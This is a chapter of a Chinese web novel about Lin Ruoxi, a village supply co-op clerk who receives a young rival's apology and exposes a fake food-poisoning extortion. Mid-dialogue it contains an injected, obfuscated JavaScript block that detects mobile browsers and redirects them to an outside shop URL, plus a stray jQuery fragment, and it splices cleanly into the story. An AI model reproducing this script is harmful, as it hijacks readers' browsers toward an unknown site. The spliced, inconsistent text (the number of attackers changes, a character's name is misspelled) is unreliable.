院门口徘徊的是杨小桃。
她手里拎着个竹篮,竹篮上盖着一块蓝布。
看见林若溪推门出来,她往后退了半步,又站住了。
像是下了很大的决心才没有转身跑掉。
“若溪姐。”
她的声音很轻,轻得像是怕惊动什么,“我,我爹让我来赔个不是。昨天的事,是我不对。”
她把竹篮往前递了递,里面是几块豆腐,用湿布包着,还冒着淡淡的豆腥气,“这个给你们吃。我爹说,昨天我那样,丢了他的人。”
林若溪接过竹篮,掀开蓝布看了一眼。
豆腐白白嫩嫩的,切得方方正正。
她把蓝布盖回去,笑了笑,“豆腐我收了。赔不是就不用了,你没做错什么。喜欢一个人又不是错。现在国家都鼓励婚恋自由,你等会儿哈,我给你拿个东西。”
林若溪快速回了屋,拿了点肉给扬小桃。
扬小桃死活不收,其实根本不是她爹叫她来的,是她自己来的。
她故意来的,来找沈峤的,就想跟沈峤接触,就想给林若溪添堵,可她没想到林若溪这样的大气。
这倒显得她小气了。
她……
杨小桃的眼眶又红了。
她使劲忍着,没让眼泪掉下来,“谢谢你,我对不住啊。我其实是来故意找茬的。沈峤那么年轻,你那么老了,我不甘心,我能看出来沈峤喜欢你。我只是,只是……”
林若溪没有说话。
她把竹篮放在院门口的石墩上,走到杨小桃面前,抬手把她辫梢上歪了的红头绳重新系好。
动作很轻,像是在给一个摔了跟头的小孩拍膝盖上的土。
“你才二十出头。以后会遇到一个看你的时候眼睛里有光的人。沈峤不喜欢你,会有很多人喜欢你的。”
杨小桃使劲点了点头。她转身走了,走了两步又回头,“若溪姐,以后我还来买烤鸡。行吗。”
“行。每回来都给你多撒一把辣椒。”
杨小桃笑了一下。
脸上还挂着泪,但酒窝又露出来了。
她快步走了,麻花辫在背后甩来甩去,步子比来的时候轻快了许多。
林若溪把豆腐端进灶房。
沈峤正蹲在灶台前生火,听见动静回头看了一眼。
“谁?”
“杨小桃。她爹让她来赔不是,送了几块豆腐。”
沈峤没说话,转过头继续生火。
“你下次对人家姑娘别那么凶。她年纪小,脸皮薄,被你当街那么一怼,回去肯定哭了一晚上。”
“……她抱我。”
“不是解释清楚了吗。”
“解释清楚了也不行。我不要她抱,她抱我,我不干净了,不干净了,你,你,你不要我怎么办?”
他把火钳往灶膛里一插。
林若溪愣了一下。
“你个傻孩子,我怎么会不要你,这房子是我们两个的,到时候就算要卖,也得一人一半分钱。”
“不卖房子,不分钱。”
他低着头,把灶台上的盐罐子挪了个位置,又挪回去,声音闷闷的。
林若溪忽然觉得嗓子有点干。
他把火钳从灶膛里拔出来,闷闷地说:“我去挑水。”
他从她身边走过去,肩膀擦过她的肩膀。
林若溪忽然觉得是不是应该找个时间好好跟他聊一下?
这孩子不会是情窦初开了吧?
下午,供销社。
林若溪把柜台上的货理完,正蹲在货架最底层补肥皂。
门口忽然传来一阵嘈杂的脚步声,不是来买东西的顾客,脚步声太乱,太重,有人在骂骂咧咧。
她站起来。
三个男人从大门进来,打头的是瘦高个,供销社仓库那个被沈峤吓破胆的搬运工。
他身后跟着两个脸生的,一个光头一个络腮胡,都穿着黑布棉袄,腰间扎着草绳。
“就是从你们供销社买的!赔钱,赶紧赔钱。”
瘦高个把一张油纸拍在柜台上,纸里包着半块咬过的肥肉,油渍已经渗到纸背面,柜台玻璃上印出一小片亮晶晶的油花。
他嗓门大得像铜锣。
“我爹昨晚吃了供销社的腊肉,上吐下泻,今早送卫生院了!医生说食物中毒!你们卖变质肉,得赔钱!”
他身后那个光头往前一步,一巴掌拍在柜台上,算盘珠子噼里啪啦蹦起来好几颗。
络腮胡靠在门框上,抱着胳膊堵住出口。
几个正在供销社里挑东西的顾客被这阵势吓住了。
有的大婶放下手里的肥皂往门口退,有个老太太拉着孙子赶紧走了。
林若溪低头看了一眼那张油纸。
包肉的。
纸角沾着一小块暗红色的瘦肉渣,肥肉的油膘已经泛黄。
她没伸手拿,只是隔着柜台闻了闻,不是供销社卖的腊肉。
供销社的腊肉是用松枝熏的,闻着有松脂香。
这块肉没有。
她用指甲盖在柜台上轻轻敲了两下,语气不急不缓。
“你爹吃了这腊肉,上吐下泻?”
“对,折腾了一宿!你们得赔医药费!十块!”
“你说这腊肉是供销社买的。发票呢。”
“没、没要发票,你们当时没给!”
“行。那你说说,这腊肉多少钱一斤。”
林若溪靠在柜台上,把算盘往旁边挪了挪,免得被光头的唾沫星子溅到,“你在供销社买了肉,总记得价格吧。”
瘦高个愣了一下,回头看了光头一眼。
光头朝他比了个手势,他没看清,又回头看了络腮胡一眼。络腮胡望天。
“一块二!”瘦高个咬咬牙报了个数。
“不对。”
林若溪摇了摇头。
“供销社腊肉一块八一斤,从来不打折。一块二,你说的是集市上老王家卖的咸肉,不是腊肉。咸肉和腊肉,不是一个东西。”
瘦高个脸涨红了,唾沫横飞,“那就是一块八!我记错了!反正就是在你们这里买的,现在我爹吃坏了,你们就要赔钱,赶紧的给我赔钱,不然我告你们。”
“一块八?你刚才不是说一块二吗。到底是哪个价格。”
她顿了顿,目光从瘦高个脸上扫过,“你到底买没买过供销社的腊肉。”
瘦高个额头上开始冒汗。
他拿袖子擦了一把,声音更大了,“反正就是你们供销社的!这纸上有油!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604432|204699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这就是你们包肉的纸!”
“纸确实是供销社的包肉纸。”
林若溪把油纸翻过来,纸背面印着供销社的红色戳记,她指着戳记下面一行小字。
“但这张纸是上个月进的货。上个月的包装纸,裁的是供销社的老章,老章上面印的是‘青山镇供销社’。
这个月换了新章,新章印的是‘青山镇供销合作社’。你不信可以看看你手里的纸,上面印的是老章还是新章。”
瘦高个低头看了一眼手里的油纸,脸色变了。
纸上印的是老章。
这块肉不可能是这个月买的,要么是上个月的,要么根本不是供销社的。
他张了张嘴,喉咙里发出咯咯的声音,一个字都说不出来。
旁边的妇女赶紧扯了扯老头的袖子,老头捂着肚子就要往外溜。
“别走。”
林若溪的声音忽然冷了,“你爹刚才捂着肚子哎呦连天,现在想走,不疼了?”
老头愣住了,捂着肚子的手僵在那里,放也不是不放也不是,脸上的表情像是吞了一颗生栗子。
门口忽然传来脚步声。
张主任带着两个公安走进来。
瘦高个的脸从红变白,从白变青。
“公安同志。”
林若溪把那张油纸、进货单、上个月的包装纸样本一样一样摆在柜台上。
“这个人拿一块不知道从哪儿捡的肥肉,包了供销社上个月的旧包装纸,污蔑我们卖变质食品。
上个月的老章印和这个月的新章印,公安同志可以当场比对。
他和他带的三个人在供销社拍桌子摔东西,堵门不让顾客进出,扰乱正常经营秩序。
刚才他亲口承认这块肉不是本月购买,在场所有顾客和售货员都可以作证。
这是寻衅滋事,也是诽谤。该怎么处理,请公安同志依法办理。”
公安拿起两张包装纸对了对,老章印的是“青山镇供销社”,新章印的是“青山镇供销合作社”。
瘦高个手里那张油纸上的章印,是老章。
“带走。”
公安合上记录本,朝身后的同事招了招手。
瘦高个、光头、络腮胡、还有那个装病的老头和妇女,五个人被带出了供销社大门。
可那个最凶的,却在到了门口的时候又返回来,一把把林若溪推到。
林若溪根本没有防备。
所有人也都没有防备,她就这样摔了。
摔的时候好巧不巧,摔到了她身后地上的锄头上。
那锄头可是很锋利的,就算是林若溪硬生生的用手撑住了地,但她的腿还是被那锄头割破了。
一瞬间,鲜血流的到处都是。
林若溪疼的不行。
“叫你多事,叫你多事,哈哈哈哈,弄死你,弄死你……”
那推林若溪的人癫狂的大喊着,还想过去踩林若溪,幸好周围的公安同志快速的制服了他。
林若溪也是服了。
这简直就是无妄之灾。
这大冷天的,伤了那么大一个口子,简直了……
重要的是她那棉裤也破了。
“林若溪同志你没事吧,你,你,你流那么多血,怎么办啊?”